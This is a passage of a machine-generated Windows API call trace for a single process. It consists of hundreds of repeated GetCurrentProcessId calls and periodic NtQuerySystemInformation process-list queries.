GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.890] GetCurrentProcessId () returned 0xbf4 [0175.891] GetCurrentProcessId () returned 0xbf4 [0175.891] GetCurrentProcessId () returned 0xbf4 [0175.891] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0175.892] GetCurrentProcessId () returned 0xbf4 [0176.481] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c590) returned 0x0 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.505] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.506] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.507] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.508] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0176.509] GetCurrentProcessId () returned 0xbf4 [0177.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c6d0) returned 0x0 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.225] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.226] GetCurrentProcessId () returned 0xbf4 [0177.227] GetCurrentProcessId () returned 0xbf4 [0177.227] GetCurrentProcessId () returned 0xbf4 [0177.227] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.228] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.229] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.230] GetCurrentProcessId () returned 0xbf4 [0177.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c770) returned 0x0 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.841] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.842] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0177.843] GetCurrentProcessId () returned 0xbf4 [0178.384] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c770) returned 0x0 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.393] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.394] GetCurrentProcessId () returned 0xbf4 [0178.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c770) returned 0x0 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.922] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0178.923] GetCurrentProcessId () returned 0xbf4 [0179.470] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.483] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0179.484] GetCurrentProcessId () returned 0xbf4 [0180.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.054] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.055] GetCurrentProcessId () returned 0xbf4 [0180.056] GetCurrentProcessId () returned 0xbf4 [0180.056] GetCurrentProcessId () returned 0xbf4 [0180.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.466] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.467] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.468] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] GetCurrentProcessId () returned 0xbf4 [0184.469] 